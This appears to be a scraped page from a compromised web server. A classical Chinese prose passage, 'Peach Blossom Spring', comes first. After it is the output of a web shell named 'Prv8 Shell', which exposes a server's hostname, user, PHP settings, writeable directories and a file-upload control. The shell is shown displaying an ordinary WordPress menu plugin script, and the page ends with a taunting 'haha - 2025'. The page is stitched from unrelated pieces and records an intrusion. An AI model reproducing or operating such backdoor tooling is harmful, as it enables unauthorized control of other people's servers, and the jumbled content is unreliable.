晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/oldTZh/wp-content/plugins/powerpack-elements/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/www/oldTZh/wp-content/plugins/powerpack-elements/assets/js/frontend-advanced-menu.js
;(function($) {

	PPAdvancedMenu = function( $scope, elementSettings ) {
		this.node         = $scope;
		this.menu_wrap    = $scope.find( '.pp-advanced-menu-main-wrapper' );
		this.wrap         = $scope.find( '.pp-advanced-menu__container' );
		this.menu         = $scope.find( '.pp-advanced-menu' );
		this.dropdownMenu = $scope.find( '.pp-advanced-menu__container.pp-advanced-menu--dropdown' );
		this.anchorLink   = $scope.find( '.pp-advanced-menu--main .pp-menu-item-anchor' );
		this.menuToggle   = $scope.find( '.pp-menu-toggle' ); // hamburger icon
		this.settings     = $scope.find( '.pp-advanced-menu__container' ).data( 'settings' );

		if ( ! this.settings ) {
			return;
		}

		this.menuId             = this.settings.menu_id;
		this.menuType           = elementSettings.menu_type;
		this.fullWidth          = elementSettings.full_width;
		this.menuLayout         = elementSettings.layout;
		this.showSubmenuOn      = elementSettings.show_submenu_on;
		this.showSubmenuOnClick = ( this.showSubmenuOn == 'click' );
		this.onepage_menu       = elementSettings.onepage_menu;
		this.duration           = 400;

		//this.iconValue = this.settings.submenu_icon.value;
		this.iconValue            = elementSettings.submenu_icon.value;
		this.subIndicatorsContent = '';

		if ( this.iconValue ) {
			this.subIndicatorsContent = this.iconValue.indexOf( '<' ) > -1 ? this.iconValue : `<i class="${this.iconValue}"></i>`;
		}

		this.init();
	};

	PPAdvancedMenu.prototype = {
		stretchElement: null,

		init: function () {

			if ( ! this.menu.length ) {
				return;
			}

			if ( jQuery.fn.smartmenus ) {
				// Override the default stupid detection
				jQuery.SmartMenus.prototype.isCSSOn = function() {
					return true;
				};

				if ( elementorFrontend.config.is_rtl  ) {
					jQuery.fn.smartmenus.defaults.rightToLeftSubMenus = true;
				}
			}

			if ( 'horizontal' === this.menuLayout ) {
				if ('undefined' !== typeof $.fn.smartmenus) {
					this.menu.smartmenus(
						{
							subIndicators: '' !== this.subIndicatorsContent,
							subIndicatorsText: this.subIndicatorsContent,
							subIndicatorsPos: 'append',
							subMenusMaxWidth: '1000px',
							subMenusMinWidth: '',
							showOnClick: this.showSubmenuOnClick,
						}
					);
				}
			}

			if ( 'vertical' === this.menuLayout ) {
				if ('undefined' !== typeof $.fn.smartmenus) {
					this.menu.smartmenus(
						{
							subIndicators: '' !== this.subIndicatorsContent,
							subIndicatorsText: this.subIndicatorsContent,
							subIndicatorsPos: 'append',
							subMenusMaxWidth: '',
							subMenusMinWidth: '',
							mainMenuSubOffsetX: '0px',
							mainMenuSubOffsetY: '0px',
							subMenusSubOffsetX: '0px',
							subMenusSubOffsetY: '0px',
							showOnClick: this.showSubmenuOnClick,
						}
					);
				}
			}

			if ( 'default' === this.menuType ) {
				this.initStretchElement();
				this.stretchMenu();
			}

			if ('off-canvas' === this.menuType) {
				this.initOffCanvas();
			}

			if ('full-screen' === this.menuType) {
				this.initFullScreen();
			}

			this.bindEvents();

			if ( ! elementorFrontend.isEditMode() ) {
				this.followMenuAnchors();
			}

			$( window ).on( 'load', $.proxy( this.resetDimensions, this ) );

			this.menu.smartmenus( 'refresh' );
		},

		getElementSettings: function( setting ) {
			if ( 'undefined' !== typeof this.settings[setting] ) {
				return this.settings[setting];
			}

			return false;
		},

		bindEvents: function () {
			var self = this;

			if ( ! this.menu.length ) {
				return;
			}

			this.menuToggle.on( 'click', $.proxy( this.toggleMenu, this ) );

			if ( 'yes' === this.onepage_menu ) {
				this.menu.on(
					'click',
					'.menu-item > a[href*="#"]',
					function(e) {

						var $href = $( this ).attr( 'href' ),
						$targetID = '';

						if ( $href !== '#' ) {
							$targetID = $href.split( '#' )[1];

							if ( $( 'body' ).find( '#' + $targetID ).length > 0 ) {
								e.preventDefault();
								$( this ).toggleClass( 'pp-active' );
								/* setTimeout(function() {
								$('html, body').animate({
									scrollTop: $('#'+ $targetID).offset().top
								}, 200, 'linear', function() {
									window.location.hash = $targetID;
								});
								}, 500); */
							}

							self.closeMenu();
						}
					}
				);
			}

			if ('default' === this.menuType) {
				elementorFrontend.addListenerOnce( this.node.data( 'model-cid' ), 'resize', $.proxy( this.stretchMenu, this ) );
			}

			//self.panelUpdate();

			this.closeMenuESC();
		},

		panelUpdate: function() {
			var self = this;

			if ('undefined' !== typeof elementor && $( 'body' ).hasClass( 'elementor-editor-active' )) {
				elementor.hooks.addAction(
					'panel/open_editor/widget/pp-advanced-menu',
					function (panel, model, view) {
						panel.$el.find( 'select[data-setting="dropdown"]' ).on(
							'change',
							function () {
								if (model.attributes.id === self.menuId) {
									if ($( this ).val() === 'all') {
										self.node.find( '.pp-advanced-menu--main' ).hide();
									}
									if ($( this ).val() !== 'all') {
										self.node.find( '.pp-advanced-menu--main' ).show();
									}
								}
							}
						);

						if (model.attributes.id === self.menuId && 'all' === self.settings.breakpoint) {
							self.toggleMenu();
						}
					}
				);
			}
		},

		initStretchElement: function () {
			this.stretchElement = new elementorFrontend.modules.StretchElement( { element: this.dropdownMenu } );
		},

		stretchMenu: function () {
			if ( 'stretch' == this.fullWidth ) {
				this.stretchElement.stretch();

				this.dropdownMenu.css( 'top', this.menuToggle.outerHeight() );
			} else {
				this.stretchElement.reset();
			}
		},

		initOffCanvas: function () {
			$( '.pp-menu-' + this.settings.menu_id ).each(
				function(id, el) {
					if ($( el ).parent().is( 'body' ) ) {
						$( el ).remove();
					}
				}
			);

			/* if ( $('.pp-offcanvas-container').length === 0 ) {
				$('body').wrapInner( '<div class="pp-offcanvas-container" />' );
				this.node.find( '.pp-menu-' + this.settings.menu_id ).insertBefore('.pp-offcanvas-container');
			} */

			if ( this.menu_wrap.find( '.pp-menu-off-canvas' ).length > 0 ) {
				if ( $( '.pp-offcanvas-container > .pp-menu-' + this.settings.menu_id ).length > 0 ) {
					$( '.pp-offcanvas-container > .pp-menu-' + this.settings.menu_id ).remove();
				}
				if ( $( 'body > .pp-menu-' + this.settings.menu_id ).length > 0 ) {
					$( 'body > .pp-menu-' + this.settings.menu_id ).remove();
				}
				$( 'body' ).prepend( this.node.find( '.pp-menu-' + this.settings.menu_id ) );
			}

			$( '.pp-menu-clear' ).fadeOut(
				400,
				function() {
					$( this ).remove();
				}
			);

			$( '.pp-menu-' + this.settings.menu_id ).css( 'height', window.innerHeight + 150 + 'px' );
			$( '.pp-menu-' + this.settings.menu_id ).find( '.pp-menu-close' ).on( 'click', $.proxy( this.closeMenu, this ) );
		},

		initFullScreen: function () {
			$( 'body' ).addClass( 'pp-menu--full-screen' );
			$( '.pp-menu-' + this.settings.menu_id ).css( 'height', window.innerHeight + 150 + 'px' );
			$( '.pp-menu-' + this.settings.menu_id ).find( '.pp-menu-close' ).on( 'click', $.proxy( this.closeMenu, this ) );
			//$('.pp-menu-' + this.settings.menu_id).find('.menu-item a').on('click', $.proxy(this.closeMenu, this));
		},

		resetDimensions: function() {
			if ( 'full-screen' === this.menuType ) {
				$( '.pp-menu-' + this.settings.menu_id ).css( 'height', window.innerHeight + 150 + 'px' );
			}
		},

		toggleMenu: function () {
			this.menuToggle.toggleClass( 'pp-active' );

			var menuType = this.menuType;
			var isActive = this.menuToggle.hasClass( 'pp-active' );

			$( 'html' ).removeClass( 'pp-menu-toggle-open' );

			if ( isActive ) {
				$( 'html' ).addClass( 'pp-menu-toggle-open' );
			}

			if ('default' === menuType) {
				var $dropdownMenu = this.dropdownMenu;

				if (isActive) {
					$dropdownMenu.hide().slideDown(
						250,
						function () {
							$dropdownMenu.css( 'display', '' );
						}
					);

					this.stretchMenu();
				} else {
					$dropdownMenu.show().slideUp(
						250,
						function () {
							$dropdownMenu.css( 'display', '' );
						}
					);
				}
			}

			if ('off-canvas' === menuType) {
				this.toggleOffCanvas();
			}
			if ('full-screen' === menuType) {
				this.toggleFullScreen();
			}
		},

		toggleOffCanvas: function() {
			var isActive = this.menuToggle.hasClass( 'pp-active' ),
				element  = $( 'body' ).find( '.pp-menu-' + this.menuId ),
				time     = this.duration,
				self     = this;

			$( 'html' ).removeClass( 'pp-menu-toggle-open' );

			if ( isActive ) {
				$( 'body' ).addClass( 'pp-menu--off-canvas' );
				$( 'html' ).addClass( 'pp-menu-toggle-open' );
				time = 0;
			} else {
				time = this.duration;
			}

			$( '.pp-menu-open' ).removeClass( 'pp-menu-open' );
			$( '.pp-advanced-menu--toggle .pp-menu-toggle' ).not( this.menuToggle ).removeClass( 'pp-active' );

			setTimeout(
				function() {
					$( '.pp-menu-off-canvas' ).removeAttr( 'style' );

					if (isActive) {
						$( 'body' ).addClass( 'pp-menu-open' );
						element.addClass( 'pp-menu-open' ).css( 'z-index', '999999' );
						if ( $( '.pp-menu-clear' ).length === 0 ) {
							$( 'body' ).append( '<div class="pp-menu-clear" style="transition: none !important;"></div>' );
						}
						$( '.pp-menu-clear' ).off( 'click' ).on( 'click', $.proxy( self.closeMenu, self ) );
						$( '.pp-menu-clear' ).fadeIn();
					} else {
						$( '.pp-menu-open' ).removeClass( 'pp-menu-open' );
						$( 'body' ).removeClass( 'pp-menu--off-canvas' );
						$( 'html' ).removeClass( 'pp-menu-toggle-open' );
						$( '.pp-menu-clear' ).fadeOut();
					}
				},
				time
			);
		},

		toggleFullScreen: function() {
			var isActive = this.menuToggle.hasClass( 'pp-active' ),
				element  = $( 'body' ).find( '.pp-menu-' + this.menuId );

			$( 'html' ).removeClass( 'pp-menu-toggle-open' );

			if ( isActive ) {
				$( 'html' ).addClass( 'pp-menu-toggle-open' );
				this.node.find( '.pp-menu-full-screen' ).addClass( 'pp-menu-open' );
				/* this.node.find('.pp-menu-full-screen').attr('data-scroll', $(window).scrollTop());
				$(window).scrollTop(0); */
			}
		},

		closeMenu: function() {
			if ( 'default' !== this.menuType ) {
				$( '.pp-menu-open' ).removeClass( 'pp-menu-open' );
				this.menuToggle.removeClass( 'pp-active' );

				$( 'html' ).removeClass( 'pp-menu-toggle-open' );

				if ( 'full-screen' === this.menuType ) {
					var scrollTop = this.node.find( '.pp-menu-full-screen' ).data( 'scroll' );
					$( window ).scrollTop( scrollTop );
				}

				$( '.pp-menu-clear' ).fadeOut();
			}
		},

		closeMenuESC: function() {
			var self = this;

			// menu close on ESC key
			$( document ).on(
				'keydown',
				function (e) {
					if (e.keyCode === 27) { // ESC
						self.closeMenu();
					}
				}
			);
		},

		followMenuAnchors: function() {
			var self = this;
			this.anchorLink.each( function () {
				if (location.pathname === this.pathname && '' !== this.hash) {
					self.followMenuAnchorEle( $( this ) );
				}
			} );
		},

		followMenuAnchorEle: function( element ) {
			const anchorSelector = element[0].hash;
			let offset = -300,
				$anchor;

			try {
				// `decodeURIComponent` for UTF8 characters in the hash.
				$anchor = $( decodeURIComponent( anchorSelector ) );
			} catch ( e ) {
				return;
			}

			if ( ! $anchor.length ) {
				return;
			}

			if ( ! $anchor.hasClass( 'pp-menu-anchor' ) ) {
				var halfViewport = jQuery( window ).height() / 2;
				offset = -$anchor.outerHeight() + halfViewport;
			}

			elementorFrontend.waypoint( $anchor, function ( direction ) {
				if ('down' === direction) {
					element.addClass( 'pp-menu-item-active' );
				} else {
					element.removeClass( 'pp-menu-item-active' );
				}
			}, {
				offset: '50%',
				triggerOnce: false
			});
			elementorFrontend.waypoint( $anchor, function ( direction ) {
				if ('down' === direction) {
					element.removeClass( 'pp-menu-item-active' );
				} else {
					element.addClass( 'pp-menu-item-active' );
				}
			}, {
				offset,
				triggerOnce: false
			});
		}
	};

    var isEditMode = false;

    var getElementSettings = function( $element ) {
		var elementSettings = {},
			modelCID 		= $element.data( 'model-cid' );

		if ( isEditMode && modelCID ) {
			var settings     = elementorFrontend.config.elements.data[ modelCID ],
				settingsKeys = elementorFrontend.config.elements.keys[ settings.attributes.widgetType || settings.attributes.elType ];

			jQuery.each( settings.getActiveControls(), function( controlKey ) {
				if ( -1 !== settingsKeys.indexOf( controlKey ) ) {
					elementSettings[ controlKey ] = settings.attributes[ controlKey ];
				}
			} );
		} else {
			elementSettings = $element.data('settings') || {};
		}

		return elementSettings;
	};

	var AdvancedMenuHandler = function ($scope) {
		var elementSettings  = getElementSettings( $scope );

		new PPAdvancedMenu( $scope, elementSettings );
		
	};

	$(window).on('elementor/frontend/init', function () {
        if ( elementorFrontend.isEditMode() ) {
			isEditMode = true;
		}

		elementorFrontend.hooks.addAction( 'frontend/element_ready/pp-advanced-menu.default', AdvancedMenuHandler );
    });

})( jQuery );

haha - 2025